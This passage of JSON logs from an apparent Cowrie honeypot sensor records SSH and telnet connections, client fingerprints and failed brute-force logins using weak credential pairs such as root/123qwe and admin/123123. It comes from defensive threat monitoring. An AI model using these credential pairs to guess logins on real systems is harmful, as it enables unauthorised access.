-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:41:33.653207Z","src_ip":"92.118.39.71","session":"3c72ad5936b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe","message":"login attempt [root/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:41:33.951844Z","src_ip":"92.118.39.71","session":"3c72ad5936b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:41:35.054273Z","src_ip":"92.118.39.71","session":"3c72ad5936b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":47402,"dst_ip":"159.203.135.109","dst_port":22,"session":"467f49e5c9b1","protocol":"ssh","message":"New connection: 159.65.58.200:47402 (159.203.135.109:22) [session: 467f49e5c9b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:41:48.090778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:41:48.231556Z","src_ip":"159.65.58.200","session":"467f49e5c9b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:41:48.234481Z","src_ip":"159.65.58.200","session":"467f49e5c9b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shkar","password":"123456","message":"login attempt [shkar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:41:49.119304Z","src_ip":"159.65.58.200","session":"467f49e5c9b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:41:50.410006Z","src_ip":"159.65.58.200","session":"467f49e5c9b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:41:55.121301Z","src_ip":"162.240.218.183","session":"f553f71e5efd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":49064,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6e3f09538ce","protocol":"ssh","message":"New connection: 38.148.249.2:49064 (10.17.0.5:22) [session: e6e3f09538ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:41:58.983839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:41:58.989043Z","src_ip":"38.148.249.2","session":"e6e3f09538ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:41:59.060625Z","src_ip":"38.148.249.2","session":"e6e3f09538ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1127","message":"login attempt [root/1127] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:41:59.374646Z","src_ip":"38.148.249.2","session":"e6e3f09538ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:00.447114Z","src_ip":"38.148.249.2","session":"e6e3f09538ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":61553,"dst_ip":"10.17.0.5","dst_port":22,"session":"966b1b87bca3","protocol":"ssh","message":"New connection: 109.91.4.177:61553 (10.17.0.5:22) [session: 966b1b87bca3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:16.895482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:16.899252Z","src_ip":"109.91.4.177","session":"966b1b87bca3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:17.004243Z","src_ip":"109.91.4.177","session":"966b1b87bca3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpusers","password":"ftpusers","message":"login attempt [ftpusers/ftpusers] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:17.866146Z","src_ip":"109.91.4.177","session":"966b1b87bca3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:18.967316Z","src_ip":"109.91.4.177","session":"966b1b87bca3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":45422,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb17b9458e67","protocol":"ssh","message":"New connection: 80.94.92.55:45422 (10.17.0.5:22) [session: bb17b9458e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:19.860687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:20.079133Z","src_ip":"80.94.92.55","session":"bb17b9458e67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:20.085201Z","src_ip":"80.94.92.55","session":"bb17b9458e67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:21.708622Z","src_ip":"80.94.92.55","session":"bb17b9458e67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:23.256093Z","src_ip":"80.94.92.55","session":"bb17b9458e67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.76.134.52","src_port":52796,"dst_ip":"10.17.0.5","dst_port":22,"session":"7501a8e29e9e","protocol":"ssh","message":"New connection: 177.76.134.52:52796 (10.17.0.5:22) [session: 7501a8e29e9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:23.835233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:23.863814Z","src_ip":"177.76.134.52","session":"7501a8e29e9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:23.997918Z","src_ip":"177.76.134.52","session":"7501a8e29e9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Carlos123","message":"login attempt [root/Carlos123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:24.540481Z","src_ip":"177.76.134.52","session":"7501a8e29e9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:25.681026Z","src_ip":"177.76.134.52","session":"7501a8e29e9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":58234,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fd5ce9c3e9c","protocol":"ssh","message":"New connection: 209.99.190.200:58234 (10.17.0.5:22) [session: 3fd5ce9c3e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:26.202115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:26.205761Z","src_ip":"209.99.190.200","session":"3fd5ce9c3e9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:26.305071Z","src_ip":"209.99.190.200","session":"3fd5ce9c3e9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00160002708435,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:26.371239Z","src_ip":"170.64.224.25","session":"8ac3849d65c5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza1","message":"login attempt [reza/reza1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:26.727079Z","src_ip":"209.99.190.200","session":"3fd5ce9c3e9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:27.829179Z","src_ip":"209.99.190.200","session":"3fd5ce9c3e9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":46120,"dst_ip":"159.203.135.109","dst_port":23,"session":"34dacb4dc524","protocol":"telnet","message":"New connection: 170.64.224.25:46120 (159.203.135.109:23) [session: 34dacb4dc524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:28.895181Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":35160,"dst_ip":"10.17.0.5","dst_port":22,"session":"d378b488c03b","protocol":"ssh","message":"New connection: 194.113.233.25:35160 (10.17.0.5:22) [session: d378b488c03b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:35.769402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:35.773137Z","src_ip":"194.113.233.25","session":"d378b488c03b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:35.856017Z","src_ip":"194.113.233.25","session":"d378b488c03b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"241193","message":"login attempt [root/241193] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:36.109609Z","src_ip":"194.113.233.25","session":"d378b488c03b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:37.194946Z","src_ip":"194.113.233.25","session":"d378b488c03b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.189.225","src_port":45910,"dst_ip":"10.17.0.5","dst_port":22,"session":"8236b10b1a1d","protocol":"ssh","message":"New connection: 62.210.189.225:45910 (10.17.0.5:22) [session: 8236b10b1a1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:51.343026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:42:51.346347Z","src_ip":"62.210.189.225","session":"8236b10b1a1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-